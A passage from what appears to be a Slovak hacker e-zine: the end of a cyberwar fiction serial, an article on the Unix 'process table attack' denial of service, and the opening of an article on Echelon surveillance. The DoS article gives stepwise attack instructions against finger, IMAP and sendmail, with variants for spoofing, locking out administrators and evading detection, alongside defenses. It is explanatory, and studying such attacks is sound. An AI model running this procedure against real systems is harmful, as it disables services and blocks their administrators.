    radarovych systemov, ohrozeni rozvodu elektrickej energie ale cim viac
    som ho presviedcal, tym viac som posobil paranoidnym dojmom, nielen v
    jeho ale aj mojich vlastnych ociach.


    to co vidim, je rozvoj "fragmentovej vojny", vedenej rozptylenym a vysoko
    technicky rozvinutym sietovym nepriatelom, ktory smelo busi do srdca
    nasej informacne zavislej spolocnosti. napisali sme o tomto celu knihu
    pre rand, koncom 90 rokov.


    connie lame remailerove skoky na skolskom crayi, zatial ivars rozchodil
    jazykovy analyzator pracujuci na analyze sprav uverejnenych za poslednych
    sest rokov na webe. je to myslitel so sirokym zaberom, takze dufam, ze na
    nieco pride.


    12. jul, 18:00 pdt



    ivars mal nejake vysledky: anglictina nebola rodnym jazykom toho cloveka!
    connie tiez prisla s nejakymi predbeznymi napadmi. domnieva sa, ze dva
    zdroje alebo aspon jeden z nich je v azii. ivars si tiez mysli, ze
    najmenej jeden utok bol urobeny cez mikrovlnne programovanie! povazovane
    za nemozne - a teraz, po vytrvalych pokusoch, sa to niekomu mozno
    podarilo. data modifikovane pocas prenosu vzduchom...


    mckayovi som dnes odpalil nasledujuci list:


    to: admiral william mckay, riaditel oddelenia informacnych zbrani,
    pentagon

    from: jack miller, namorna postgradualna skola


    mily bill, to "vyhlasenie" by sa malo brat velmi vazne.
    dovody:

    1.jazykova analyza textu spravy ukazuje, ze bola napisana clovekom,
    ktoreho
    rodny jazyk nie je anglictina, pravdepodobne je to korejcan
    2. odkazy
    zaslane do usenetu a systemove zaznamy napadnutych sieti
    ukazuju, ze
    udaje pochadzaju odkialsi z azie.


    system minimalne nevyhnutnej
    informacnej infrastruktury ( mnii ) nie je
    odpovedou tejto hrozbe. mnii
    je zamerany na zaistenie bezpecnosti
    prezidentskych rozkazov a riadiacich
    funkcii tykajucich sa ozbrojenych sil usa. system bol navrhnuty tak, aby
    umoznoval zakladnu vojensku a najnutnejsiu civilnu obranu, udrzanie
    funkcnych komunikacii po digitalnom utoku. tato situacia si vsak ziada
    nepretrzite monitorovanie vojenskych a civilnych infrastruktur clovekom:
    financnictvo, doprava, energetika. zoberuc do uvahy mozne mikrovlnne
    programovanie, mame dalsiu dimenziu ktoru musime strazit. ak ma
    potrebujes, vecer by som mohol byt vo vojenskej miestnosti. - jack


    treba kupit prenosny tv a prenosnu antenu. connie vravi ze uz mi z toho
    harasi.


    ale do dna d zostava uz len 48 hodin. den detonacie. najdolezitejsou
    ulohou dnesneho vecera je odtienenie vsetkeho nasho elektronickeho
    vybavenia. poslal som syna, aby zohnal medene pletivo, ale zohnal len
    bezne zinkove. nasiel som na smetisku olovenny kryt na tienenie, do tohto
    strcim svoj pocitac. viem, je to pravdepodobne blaznive. nabuduce budem
    mat olovene tienenie i v klobuku. mozno som ... nie, to radsej nepoviem.


    objavila sa len velmi skromna zmienka o bliziacom sa hranicnom termine -
    i to s uskrnom - na sieti usa today.


    13. jul, 10:10 pdt



    moje upozornenie mckayovi bolo odmietnute. z politickeho hladiska si
    mckay nemoze dovolit brat ma vazne, pretoze sa uz "angazoval", ked mi
    dohodil miesto v postgradualnej skole po tom, co ma vyhodili z pentagonu.


    okolo celej miestnosti sme urobili zeleznu klietku. a nasli sme i sposob
    ako vyuzit tienene generatory. ivars popoludni testoval nastavenia.


    pomocou "pozicaneho" sniffovacieho softveru sme urobili dalsie analyzy
    premavky. porovnali sme vsetky postingy na web z 8.jula, kedy bolo
    zaslane to vyhlasenie a kedy boli zaslane jeho kopie na ostatne sajty.
    napad spociva v tom, ze nie je mozne poslat naraz viac ako jednu vec.
    pretoze tu bol ten datum dobytia bastilly, pozreli sme sa na zname
    francuzske teroristicke skupiny. vyradovanie este neprinieslo ocakavane
    vysledky pretoze vypocty trvaju cele hodiny, aj na crayi.


    vratil som sa spat k nasej rand studii o informacnej vojne. aj
    odmietnutie doleovej vlady zodpoveda scenaru!


    zajtra je ten deadline. jedine, co mozem teraz robit je cakat, kym
    neudru. vazne, sakra, bolo by to ok, keby som sa tentokrat mylil.


    14. jul, 09:44 pdt



    vypadok prudu! hej, pricinou by mohlo byt i cosi ine. o 9:20 som pozeral
    cnn, msnbc a fox news, ked sa moje tri televizory na striedavy prud zrazu
    vypli. directv programming na mojom bateriami napajanom stroji na par
    minut zmrzol, kym sa nenakopli generatory televiznej stanice. (nase sme
    nahodili vzapati) spravy hlasali, ze vypadok sa rozsiril smerom k los
    angeles.


    telefonne linky su tiez mrtve. mckay, ak i chcel, nemohol sa so mnou
    spojit. (hah: teraz by chcel.)


    dvadsat minut bez prudu a v kancelarii zacina byt neprijemne teplo. to je
    ta vlna horucav spolu s tymi vsetkymi zariadeniami a generatormi, bez
    vzduchoveho chladenia - na tento problem som nepomyslel.


    14. jul, 13:54 pdt



    posledne tv spravy priniesli spravu, ze tri 500-kilovoltove prenosove
    vedenia vychadzajuce z vodnych elektrarni pozdlz zapadneho pobrezia, boli
    vyradene z cinnosti. to sposobilo prerusenie dodavky elektrickej energie
    a telefonnych sluzieb v celej kalifornii a oregone. vykonny riaditel
    koordinacnej rady western systems oznamil, ze problem sa kaskadovite
    siril cez rozvodnu siet, vyradiac z cinnosti elektrarne v rock springs,
    wyoming, v pekelnom kanone, idaho a v brush, kolorade. vypadok sa tyka
    niekolkych zapadnych statov usa.


    spravy okolo poludnia tiez naznacili, ze neboli zistene ziadne znamky
    sabotaze. to znamena ziadne fyzicke poskodenie systemu.


    elektrikari pisali na odbornych www sajtoch, ze pfw odhalili niekolko
    kodovanych pristupovych ciest do automatizovaneho riadenia, ktore
    spravuje energeticku rozvodnu siet.. nie jeden, niekolko. niet sa co
    cudovat, kody a zabezpecovacie nastavenia na firewalovych pristupoch boli
    zastarale. takze: mikrovlnne programovanie nebolo nutne (to bola paranoja
    - nemal som nechat ivarsa, aby mi o tom hovoril; teraz vyzeram... horsie
    ako zvycajne). pouzili standardne - nadherne prepracovane - techniky.


    ohlaseny vypadok spojenia je teraz jedinou temou diskusii na tv. krdle
    pseudo-expertov hrkutajuc ako holuby uistuju znova a znova: to nie su
    teroristi, mile deti.


    generatory nam tu funguju ale telefony su stale hluche. web mi tiez
    vypadol. cez priame tv vysielanie som pocul, ze podla zdrojov na webe je
    toto "len zaciatok" - este pride havaria jadrovych elektrarni. podla
    nasich scenarov toto by nemali byt schopni urobit, lebo nie su na
    rovnakom type vstupu do rozvodnej siete. ale...moze pocin oznacovany ako
    zapas za ludstvo, zavrazdit miliony tychto ludi? typy ako su tito by
    obavy o nezucastnenych divakov nikdy nezastavili.


    14. jul, 18:00 pdt



    zap! toto hlasalo logo vecernych sprav. tato udalost bola pomenovana "big
    zap". pocul som, ze niektore z "vypnutych sieti" uz nabehli a zistuju, co
    sa stalo. tie casti webu, ktore este funguju, zaznamenavaju rekordnu
    premavku; niektore zap sajty prijimaju miliony ziadosti za hodinu. ufo
    sajty su ocividne takisto zahltene so spravami, ze to neboli teroristi,
    kto umrtvil energeticku rozvodnu siet. clovek by sa na tom zasmial, keby
    to nebolo smutne. unia ufo realistov - prekvapivo velka skupina volicov -
    ziada o prijatie u prezidentky.


    systemy bezdrotoveho emailu v dosledku sirokeho rozsahu vypadku nikdy
    nepracoval. jedinou spolahlivou vecou je am radio a directv. ham radio je
    pekna vec, ale vycerpavajuca.


    15. jul, 06:15 pdt



    elektrina a telefony nabehli minulu noc okolo polnoci.


    o polhodinu neskor boli vypnute opat - ako vysmech! za polhodinu opat
    nabehli, obdrzal som slusnu kopku emailov. medzi nimi bolo niekolko
    upozornujucich, ze vaznost vypadku si vyzaduje uplne ciste spustenie,
    ktore v niektorych pripadoch trva dlhsie ako samotny vypadok.


    hlasene straty: doteraz 35 znamych umrti, od dopravnych nehod po
    infarkty. mnoho obeti teplotneho soku medzi dochodcami. zap sajty
    informuju, ze ekonomicke skody dosiahli hranicu miliardy dolarov. podla
    neoverenej spravy sa vodna priehrada v kalifornii po vypadku prudu
    pretrhla a zabila tisice ludi. ak by sme povazovali poslednu spravu za
    klebetu, celkovy efekt na ludskych stratach zatial nie je katastrofalny.
    mohlo by to byt ovela horsie. ovela.


    niekolko ludi v nepostihnutych castiach krajiny rozsirilo odkaz od ludi,
    co sa objavil na webe: "mozno nasledujuce prezidentkino vyhlasenie uz
    nebude take arogantne a ubezpecujuce".
    toto tiez malo rovnaky kryptovany
    podpis.


    prezidentka vydala opat vyhlasenie. ochranne opatrenia, ktore vyhlasila
    pred tromi dnami - meii - je zamerane, ako povedala, na zabezpecenie
    bezpecnosti jej prikazov a riadiacich funkcii tykajucich sa ozbrojenych
    sil usa. tak to je perfektne ale ako stale hovorim, prd to pomoze, ked
    vsetko dalsie spadne.


    meii prave poslal vsetkym americanom na inete tento obeznik: "prosime,
    aby ste obmedzili pouzivanie emailu, kym nebudu mat vsetky casti krajiny
    obnovenu dodavku elektrickej energie a komunikacne sluzby. zahltenie
    emailami brzdi cinnost pohotovostnych agentur."



    15. jul, 09:31 pdt



    pfw poslala dalsie vyhlasenie (zase na vela websajtov, uplne ine od tych,
    na ktore poslala svoju deklaraciu) slubovali viacej utokov, ak vlada us
    a
    nesplni ich poziadavky.


    volal som kamosovi na fbi a zistil som, ze fedaci priznavaju (nie
    verejne), ze vcerajci vypadok prudu bol utok hackerov a druha sprava
    pravdepodobne nie je rozpravka. utocnik nebol citlivka - pouzil brute
    force hladanie po login heslach. (kamos mi emajlol log pokusov). ale pri
    sledovani povodu zdroja fedaci nasli signal v pacifiku urcujuci velkost
    pristroja. mala lodka v mori, zopar sto mil od san francisca! tak predsa
    to slo cez vzduch - v urcitom zmysle slova. mohli pouzit jeden zo
    satelitov co vlastni nsa: preplechtili sa na vlnach nosica. to znamena ze
    maju pristup na vsetky data od nsa?! nie, to by museli mat aj sifru.
    vsetko je este zahmlene.


    elektrina je spat uz asi sest hodin. telefon naskocil prave pred hodinou.
    skusil som sa pripojit na internet ale je zapchaty premavkou.


    15. jul, 10:45 pdt



    konecne som sa pretlacil na web. dozvedel som sa z new york
    times-sponzorovanej zap stranky, ze vladny cyberspace emergency response
    team riadne zlahcoval vzniknute skody - limitovany architekturou
    energickych poli, ktore boli nainstalovane napevno, pre automaticke
    zdielanie vzacnych zdrojov - slabinu, ktoru vyuzili utocnici.


    connie precesava analyzerom novu davku login zaznamov.


    15. jul, 15:27 pdt



    ap zap sajta uverejnila rozhovor s anonymnym hackerom, ktory tvrdi, ze v
    case utoku bol "nahodou" v energetickych sietiach. tvrdi, ze zistil
    detonaciu silnej logickej bomby, ktora prinutila systemove ovladace
    opakovat ich zalozne zdielanie energie - do nekonecna. tiez tvrdi, ze sa
    snazil ziskat kontrolu nad tym procesom, ked videl co sa deje ale
    nepodarilo sa mu zastavit katastrofu. su to len webove kecy - avsak zhoduju
    sa s tym, co uz vieme.


    este sa to neskoncilo. pravdupovediac, ja si myslim, ze sa to este len
    zacalo. ivars isiel do san jose po nejake pasky s backupom netu, aby z
    toho mohol cosi vyzut. connie chce ostat hore celu noc a monitorovat data
    premavky. ale ja si myslim, ze sa boji. vsetci sme trochu nervozni.


    17. jul, 09:16 pdt



    prisiel druhy utok. pocet mrtvych tiel: 463. pricina: vzdusna zrazka.
    system riadenia vzusnej premavky bol cybotazovany. spravy su take, ze
    zamestnanci faa sa stazovali, ze ich radarove obrazovky mrzli a ze
    prehadzovali typy dat medzi blizko letiacimi lietadlami (ako napriklad
    letove a vyskove data). niekolko blizkych minuti a jedna kolizia
    oproti sebe letiacich lietadiel v burke nad michiganom, ktora vyustila v
    smrt vsetkych cestujucich. predpoklada sa, ze automatizovany algoritmus
    vyskoveho manazmentu a prevencie kolizii bol napadnuty a poskodeny.
    ziadne spravy o tom, ako sa dostali dnu. niekolko zap sajtov uverejnilo
    teorie, niektore celkom zaujimave.


    pred hodinou usa uzemnilo vsetky komercne lety; niekolko vynimiek.
    vojenske lety pokracuju, s norad a defense information systems agency
    (obranne informacne systemy) "priebeh operacii" centrom v slidell,
    louisiana, vyhlasili 24 hodinovu pohotovost. napriek absencii nejakej
    nebezpecnej vzdusnej aktivite. a su na zlej stope, dofrasa! za
    predpokladu, ze vojenske vzdusne systemy su hacknute a niektore lietadla
    maju aktivnu municiu! zeby vzduch-zem rakety? ekonomicke straty su zatial
    miliardy denne.


    na nete narastol velkym tempom obrovsky pokrik po pomste proti pfw - ale
    zamlka po mensine z kybernetickej komunity: "dostavame, co sme si
    zasluzili!"


    male dievcatko, ktore umrelo ked vypla elektrina pocas jej operacie v
    nemocnici dostava v mediach coraz viac pozornosti.


    sprava poslana do 50.000 newsgroupov od skupiny zvanej dove of jihad
    (holubica z jihadu) sa prihlasila k utoku. kedze ide o pofidernu sunni
    sektu (ortodoxni moslimovia), ktora je znama odmietanim akejkolvek
    technologie, ich tvrdenie zverejnene pocas modlidieb v mesite v aleppo,
    bolo zamietnute. rozne ine islamske skupiny sa tiez prihlasili k utoku,
    popri bielej supramacistickej frakcii a andorranskom anarchistickom
    syndykate. ale vsetky boli razne zamietnute, chybal im digitalny podpis,
    ktory pdf mala v oboch predoslych hackoch. asi najnezvycajnejsia teoria o
    identite ludi (pfw) sa objavila na jednej zap sajte, menom zap teorista.
    vravi, ze vsetko toto je hollywoodske sprisahanie na generovanie filmov
    po velmi komercne mizernych dvoch rokoch. fakt, ze jeden z prvych
    prispevkoch deklaracie sa objavil na the hollywood reporter sajte - pred
    tym, ako sa objavil na sajtoch tv kanalov - drzi svojich zastancov nad
    vodou. ivars si to vsimol skor, ale nevedeli sme, co si mame o tom
    mysliet.


    17. jul, 16:41 pdt



    dnes som poslal dalsiu spravu mckayovi s vysledkami poslednej analyzy.
    vypadok prudu v energetickych sietiach zanechal taky isty otlacok ako ma
    ten, ktory poslal spravy pfw na web. connie dostala genialny napad.
    vravi, ze pfw zakodovala logicke bomby s ich crypto podpismi - ako sposob
    dokazat, ze prisli od nich. je si ista, ze su tam a snazi sa vyzmykat
    logy od fbi.


    volala mi mckayova sekretarka, nech sa okamzite dostavim do moffettvho
    federalneho letiska v silicon valley, aby som stihol vojensky vzdusny
    transport do washingtonu. dostava ma spat z "interneho exilu" na vykon
    ako jeho zamestnanca. budem sa tiez zucastnovat na mitingoch vykonnostnej
    rady. v pentagone sa tvaria, ako keby moja historia s nimi sa nikdy nebola
    udiala. konecne!


    posledna teoria dna, majetok jednej zap sajty: islamska oslobodzovacia
    armada v alzirsku sa pokusa obvinit francuzko (co vysvetluje den bastilly
    na big zap) z utokov v zmysle odputat pozornost pariza od podpory
    vonjnoveho zeroualskeho rezimu v alzirsku.


    18. jul, 11:04 edt



    pentagon. plna big zap2 pohotovost pokracuje - ale zase su blbo
    sustredeni na "kriticke" alebo "minimalne dolezite" elementy, lebo to bol
    strategicky pohlad pocas jadrovej ery.


    dnes, na mitingu vyknonnej rady som poznamenal, ze ked v oktobri 1997
    prezidentova komisia na ochranu kritickej infrastruktury zverejnila svoju
    spravu o kyberterorizme, nepouzivanie silne kryptovacie sifry - a
    informacia, ze stat ma pristup k kryptovacim klucom - viedla k extremnej
    slabosti ochrany ameriky.


    klucovy clovek v novej skupine je moj byvaly kolega a clovek, ktoreho si
    naozaj velmi vazim: bob stevenson. on a ja sme boli hore dnes rano o
    stvrtej a potili dokopy odhad na vyvoj obran na slabe miesta v sietovych
    zdrojoch vo financnictve, energetike a dopravnych systemov. odpoved:
    niekolko tyznov. a teraz mckay vravi "nestaci".


    zatial pfw ohlasila 72 hodinovu "pauzu" - aby dala americkej vlade cas na
    reagovanie. prezident ostava neodbytny. graf usa today ukazuje, ze
    namiesto verejnej mienky "behanie okolo vlajky" ako sa predpokladalo,
    podpora prezidentky obyvatelstvom totalne upada. spadla z polovice 80tich
    percent do nizkych 60tich percent.


    pravdaze, rastie online fikcia, ze - predvidatelne - pfw je statny trik,
    spionska schema vymyslena na to, aby usa mohla vyhlasit sveobecnu vojnovu
    povinnost a vytvorit policajny stat a prezidentka sa moze stat
    diktatorkou - a podobne sracky.


    net ostava kotlom na aktivity. zap sajty su plne pokusov "dobrych
    chlapikov" hackerskych bojovnikov pokusajucich sa ziskat elektronicky
    pristup na zautocene sajty a ziskat informaciu na ich sukromne patranie.
    jedina vec co asi robia je este veci zmatok. ale vsak pre vela "dobrych
    chlapikov", je zmatok dobra vec, vsakze. prezidentka slubila, ze vseci
    "nepodareni hackeri" budi stihani za znemoznovanie vykonu moci. tiez
    potvrdila, ze spojene staty sa nesklonia pred hrozbami pfw. ale
    "hackerske milicie" ziskavaju aj tak popularitu.


    21. jul, 01:15 edt



    prestavka medzi utokmi nam dala cas na predvidanie pravdepodobnych
    cielov. energeticke siete su pri plnej pohotovosti, v pripade odvetneho
    zap utoku. scada systemy su takisto pod dohladom. komercne lety su stale
    zrusene, takze system kontrolujuci dopravu moze byt lahko monitorovany,
    ci nedoslo k napojeniu - ako ochrana proti umiestneniu "spiacich" min a
    spiacich virusov, ktore by mohli byt neskor aktivovane.


    financnicky sektor bol pravdepodobne na najvyssom stupni pohotovosti v
    informacnom svete - trhy boli velmi nervozne. niektore zo spekulativnych
    biznisov skusajuce nieco nove sa obracaju hore bruchom.


    nove firmy vznikaju ako huby po dazdi. takyto spam som dostal dnes rano:
    "je tvoja banka bezpecna pred teroristami? nespoliehaj sa na to - banky
    su dalsie v poradi! zistime nakolko je tvoja banka zabezpecena!" potom
    im das dost informacii, aby sa tam mohli vlamat oni. pekny podvod.


    dnes bol vo spravach report o tom ako musel shell oil zahanbene
    pripustit, ze si v panike najali zopar podvodnikov, ktori predstierali
    znalosti postacujuce na zabezpecenie ich systemov pred pfw. tieto decka
    (mali iba 12 rokov) by nedokazali nainstalovat ani len hru.


    21. jul, 08:45 edt



    horuce novinky: pocitacom kontrolovana chemicka tovaren vybuchla v
    detroite. a zobrala so sebou vacsinu vychodneho detriotu. pokusame sa
    ziskat viac detialov. zatial nic nove.


    moje sestra zije v detroite. nemozem sa s nou spojit, linky su prerusene.
    june zavolala, pytala sa ma, ci je laurie v poriadku. nemozem to zistit.
    "vravela som ti..." je studena forma utechy.


    21. jul, 18:18 pdt



    spat v monterey. v labaku sa citim menej neschopny. pracovali sme na
    stopach zo senzorov popisujucich polohu (spp), ktore spajali data zo
    satelitu s datami z pozemnej stanice v usili ohranicit fyzicky bod povodu
    konkretneho utoku. toto usilie bolo uspesne len z casti, kedze spp system
    mohol fungovat len ked pfw pouzilo medzinarodnu telefonnu linku alebo
    radiove spojenie - dokonca spp funguje rychlejsie pri radiovom spojeni.


    spp analyza naznacila, ze jeden utok bol spusteny z jednej bazy v
    kolumbii, dalsi z vychodneho pobrezia ciny...potom tu mame vlastnu teoriu
    lode niekde za kalifornskym pobrezim. plavajuce riadiace stredisko, vzdy
    v pohybe - nemozne lokalizovat, pokial nebudeme mat stastie.


    ale vyzera to tak, ze mame teraz online nove programy schopne ochranit
    vacsinu nasich silovych poli .... a tiez provizornu ochranu proti
    mikrovlnam & empeckam.


    nic nove o laurie. som znepokojeny.


    22. jul, 09:09 pdt



    cakam na dlhuuu analyzu, na ukoncenie spracovania posledneho vypoctu.
    nemozem nic robit, iba to logovat - akokeby to bolo na nieco dobre.
    washington post ma story o komisii inzinierov informatiky, ktori tvrdia,
    ze maju dokazy, ze cina stoji za utokmi. suhlasili s poskytnutim dat (z
    ich vlastneho internet monitorovacieho systemu) pre vladu. prvy krat,
    co o
    nich pocujeme. prave vysielaju rozhovor s nimi.


    vzdy to bolo tam, v uzadi mojej mysle. cyber vojna. teraz je to v hlavach
    coraz viac ludi. vidim to tu na skole. connie bola prestrasena nad
    klavesnicou a sustavne robila preklepy ked posielala query do
    vyhladavacich enginov. ivars zavolal cez videotelefon - tato budova ma
    jeden - a dostal nejaky divny naval paniky. mlady, nie tak dobry v
    skryvani strachu: moze toto viest k tretej svetovej vojne ?


    cina vsetko popiera. predseda vlady nech-je-jeho-meno-hocijake povedal,
    ze toto nie je vojna ludi. ktovie ako americania zpanikaria pri obvineni
    ciny - jadrovej velmoci - za zodpovedost pre tieto utoky. uz nie iba
    "velky zap". online magaziny maju pekne digitalne obrazky pocitacovych
    monitorov s atomovymi hribmi...


    pokracovanie v buducom cisle....


    prielom(at)hysteria.sk


    navrat na obsah



    process table attack



    process table attack alebo tiez utok cez tabulku procesov funguje takmer na
    vsetkych unixovych systemoch na internete.


    predstava:

    process table attack je relativne novy druh denial-of-service utoku.
    (teda dos - v slovencine odmietanie systemovej sluzby), co moze byt pouzite
    proti viacerym sietovym sluzbam na odlisnych unixovych systemoch.
    utok je urceny proti sietovym sluzbam s fork() alebo inym alokovanim noveho
    procesu pre kazde prichadzajuce tcp/ip spojenie. hoci standartny unixovy
    operacny sytem ma iste limity v mnozstve procesov, ktore moze hocijaky
    uzivatel otvorit, nie su ziadne limity v mnozstve procesov, ktore moze
    vytvorit superuzivatel. tie su limitovane len obmedzenim operacneho systemu.
    prichadzajuce tcp/ip spojenie je zvycajne obsluzene serverom, ktore bezi
    pod rootom, je mozne kompletne zaplnit procesovu tabulku cielovej masiny
    s viacnasobnym obsahom sietovych serverov. po spravnom vykonani, tento utok
    predchadza vykonaniu akehokolvek prikazu na cielovej masine.


    detaily:

    v knihe "bezpecnost v unixe a internete v praxi" od gene spafford je
    napisane, ze unixovy operacny system originalne obsahuje niekolko defenziv
    na zabezpecenie proti dos utoku. toto sa meni. s rastom internetu, bola
    v poslednych rokov sustredena velka namaha na posilnenie operacneho systemu a
    jeho sietovych sluzieb proti tymto utokom.
    vzdy ked sietovy klient urobi spojenie na sietovy server, iste mnozstvo
    prostriedkov servera sa spotrebuje. najduolezitejsie prostriedky su pozierane
    pamate, diskoveho priestoru a casu prace cpu. niektore sietove sluzby,
    ako sendmail monitoruju systemove prostriedky a neakceptuju prichadzajuce
    sietove spojenia, ak by ich prijatie mohlo vystavit system nebezpecenstvu.


    existuje jeden systemovy prostriedok, kde je prerusene monitorovanie mnozstva
    procesov, ktore bezia na pocitaci. vacsina verzii unixu povoluje len iste
    mnozstvo procesov, ktore muozu byt spustene sucasne. kazdy proces zaberie
    slot v systemovej procesovej tabulke. vyplneniu tejto tabulky, je mozne
    predchadzat, aby operacny system stale nevytvaral nove procesy, aj napriek
    ostatnym prostriedkom ako pamat, diskovy priestor a cas prace cpu siroko
    pristupnych.


    implementacia mnozstva sietovych sluzieb nechava otvorenu cestu process table
    attacku. to je utok, kedy utocnik vyplni cielovu systemovu procesovu
    tabulku, kedy nemuozu byt vykonane ziadne nove programy. dizajn niektorych
    sietovych protokolov prave vedie programatorov k robeniu tychto chyb.


    priklad takehoto protokolu je finger protokol (tcp port 79), ktory pracuje
    podla nasledujucej schemy:


    1. klient urobi spojenie na server
    2. server prijme spojenie a vytvori process na obsluhu ziadosti
    3. klient posle jednoduchy riadok na server obsahujuci meno entity, ktore
    si klient zela vyfingerovat
    4. server prevedie potrebny nahlad do databazy a posle informaciu naspat
    klientovi
    5. server ukonci spojenie


    na spustenie process table attacku, klient potrebuje otvorit len spojenie
    na server a neposlat ziadnu informaciu. tak ako dlho klient drzi spojenie
    otvorenu, tak dlho proces okupuje serveru slot v serverovej systemovej tabulke.
    na vacsine pocitacoch, finger je nastartovany cez inetd. autori inetd
    umiestnili viacero kontrol v zdrojovom kode programu, ktore musia byt
    zrusene na to, aby mohla nastat uspesna inicializacia procesoveho utoku.
    ak inetd prijme viac ako 40 spojeni v patricnej sluzbe pod 1 minutu,
    sluzba sa vypne na 10 minut. ciel tychto kontrol nebol zabezpecit server
    proti process table attacku, ale zabezpecit ho proti chybovemu kodu, ktory
    moze vytvorit viacero spojeni v rapidne-rychlej sekvencii.


    na spustenie uspesneho process table attacku proti pocitacu na ktorom bezi
    inetd a finger musi byt vykonany nasledujuci postup:


    1. otvorenie spojenia na cielovy finger port
    2. pockat zhruba 4 sekundy
    3. opakovat stale 1 a 2 krok


    zostrojit utocny program sa neobide bez technickych problemov. vela systemov
    limituje mnozstvo tcp spojeni, ktore muozu byt inicializovane jednym procesom.
    proti tomu, je potrebne spustit utok z viacerych procesov, mozno pustenim
    z viacerych pocitacov.


    bolo otestovanych viacero sietovych sluzieb na viacerych operacnych
    systemoch. uw imapove a sendmailove servery su pravdepodobne tiez
    zranitelne. uw imap neobsahuje kontrolu pre rapidne rychle spojenia.
    preto je mozne shutdownut pocitac otvorenim viacerych spojeni na imap
    server v kratkom casovom rozpati. so sendmailom je situacia obratena.
    normalne, sendmail neprijme spojenia pokym systemove zatazenie nepresiahne
    isty predefinovany stupen. preto na inicializaciu uspesneho sendmailoveho utoku
    je potrebne otvorit spojenie velmi pomaly, tak ze tabulka procesov sa bude
    zvacsovat postupne pricom zatazenie systemu zostane viacmenej konstatne.
    vela problemov je v bsd masinach pouzivanych utocnikom. ked cielova masina
    zamrzne alebo padne, utocnikova masina niekedy padne tiez. zjavne tcp
    zasobnik nedokaze dobre obsluzit stovky spojeni na rovnaky port rovnakej
    masiny simultanne s prechodom do fin_wait_2 stavu.


    je viacero variantov tohot utoku:


    1. pouzijeme ip spoofing, kedy prichadzajuce spojenie prichadza alebo sa
    skuor zjavuje z nahodnych oblasti internetu. umoznuje to dostatocne tazsie
    hladanie.
    2. zacneme utok poslanim 50 ziadosti v rychlom casovom slede na telnet,
    rlogin a rsh porty na cielovu masinu. zapricini to, ze inetd zhodi tieto
    sluzby na cielovej masine, co zablokuje administratorov pristup pocas utoku.
    3. namiesto inicializovania noveho spojenia kazde 4 sekundy, inicializujeme
    jedno kazdu minutu alebo tak nejako. utok pomaly rastie, ovela tazsie sa
    detekuju stopy paketov.


    existuje viacero spuosobov na zabranenie utoku:


    1. inetd a ine programy by mali kontrolovat mnozstvo volnych slotov v
    procesovej tabulke pred prijatim noveho spojenia. ak je mensie ako ista
    predefinovana hodnota volnych slotov, nove spojenia nebudu akceptovane.
    2. alternativne, ak je viac ako iste mnozstvo sietovych daemonov pre prave
    prebiehajucu sluzbu, prichadzajuce ziadosti by mali byt radsej zoradovane (s
    neskorsim vykonanim) ako hned obsluhovane.
    3. sietove sluzby (ako finger) by mali mat implementovany time-out.
    napriklad prikaz alarm by mal byt vlozeny do zdrojoveho kodu finger daemona,
    takze program sa zastavi po 30 sekundach behu.


    wilder, wilder(at)hq.alert.sk


    navrat na obsah



    echelon, globalny monitorovaci system



    "pani telefonuje so svojou priatelkou o hre, ktoru hra jej syn. popisuje
    ju a pritom pouzije slovo bomba. v tom momente sa tento odposluch zvyraznil a
    na papier sa v priebehu niekolkych dni dostal zaznam celeho hovoru. tento
    papier sa o jeden alebo dva dni od odchytenia telefonatu dostal analyzatorovi
    CSE, ktory to nechcel len tak zahodit, pretoze nemohol vediet, ci o tom hovore
    vie dost. telefonne cislo spolu s menom, ktore sa k nemu viazalo bolo zaradene
    do databazy CSE ako mozny terorista."


    sci-fi, poviete si. vymysel konspiracneho teoretika, ktory chce ziskat slavu.
    donedavna si to myslelo vela ludi, ked byvaly spion kanadskej CSE rozpraval
    tento pribeh, aby upozornil na medzinarodny spionazny system vybudovany ako
    sucast dohody UKUSA. este ste o nom nepoculi ? echelon -- system obrovskych
    kolektorov odchytenych dat spolu so slovnikom a vyhladavacim systemom. donedavna
    to mozno mohlo vyzerat ako konspiracna teoria. az kym vlada australie verejne
    nepriznala ucast v spionaznej sieti pod hlavickou UKUSA. Udajne tak urobili, aby
    obcania australie ziskali istotu, ze na nich je odpocuvanie regulovane.


    v liste martina bradyho, riaditela australskeho DSD (defence signals
    directorate), reporterovi programu sunday televiznej stanice channel 9 rossovi
    coulthartovi vysvetluje: "pravidla poskytuju mechanizmy, ktore dovolia DSD
    monitorovat a oznamit zahranicne komunikacie, ktore sa vztahuju k australcanom v
    istych specialnych presne definovanych pripadoch ako napr. komunikacie
    seriozneho kriminalneho zivla, ohrozenie zivota alebo bezpecnosti australcana,
    pripadne ak australcan pracuje ako agent cudzej mocnosti. na taketo odpocuvanie
    a vypustenie takejto informacie je potrebne specialne povolenie."


    dohoda UKUSA bola podpisana pravdepodobne v roku 1942 alebo 1943. signatarmi
    tejto dohody su usa, velka britania, kanada, australia a novy zeland. aj ked
    australska vlada priznala, ze takyto pakt existuje, je okolo neho este mnozstvo
    otaznikov. vsetky dokumenty, ktore sa co i len dotykaju tejto dohody, su prisne
    tajne. americka NSA sa doteraz snazila popriet co i len existenciu tohto
    systemu. tu vsak uz niektore krajiny z UKUSA potvrdili.


    coho sa teda bat? uz dlhsiu dobu existuju podozrenia, ze tento spionazny
    system sa nevyuziva len na politicku a protiteroristicku spionaz.
    "s koncom studenej vojny je novou spionaznou hrou komercna spionaz",
    hovori reporter channel 9 ross coulthart. system echelon vyuziva najma usa na
    ziskanie komercnych vyhod pre svoje sukromne firmy. pomoc podla viacerych
    zdrojov dostali velke medzistatne kontrakty, v ktorych figurovali mena
    ako japonsky nec a francuzsky airbus industrie na strane porazenych a
    americke firmy boeing, mcdonnel-douglas a at&t na strane vitazov. to, ci su
    tieto spekulacie pravdive sa asi este par rokov nedozvieme. wayne madsen
    hovori: "ekonomicka spionaz je teraz kralom. je to priorita cislo jeden."


    "hovorim, nikdy nepodcenujte kapacitu systemu ako je echelon. nikdy
    nepodcenujte silu, ktoru tieto organizacie maju na zneuzitie systemu ako
    echelon. nemyslite si, ze sa to nemoze stat v australii. nemyslite si,
    ze sa to nemoze stat v kanade, pretoze sa to stava."
    , hovori frost. a
    madsene dodava: "krajiny uz nemaju spojencov -- maju len zaujmy."
    echelon je system, ktory vyhladava na zaklade klucovych slov a dokaze
    rozoznat aj hlasy ludi. kriteria pre vyhladavanie mozu zadavat vsetky
    krajiny z UKUSA a teda napriklad americka NSA moze dostat informacie,
    ktore odchytila spionazna stanica vo whailopai (novy zeland). toto vyzera
    zaujimavo, az na jeden maly detail. "pri mnozstve veci, ktore sme robili
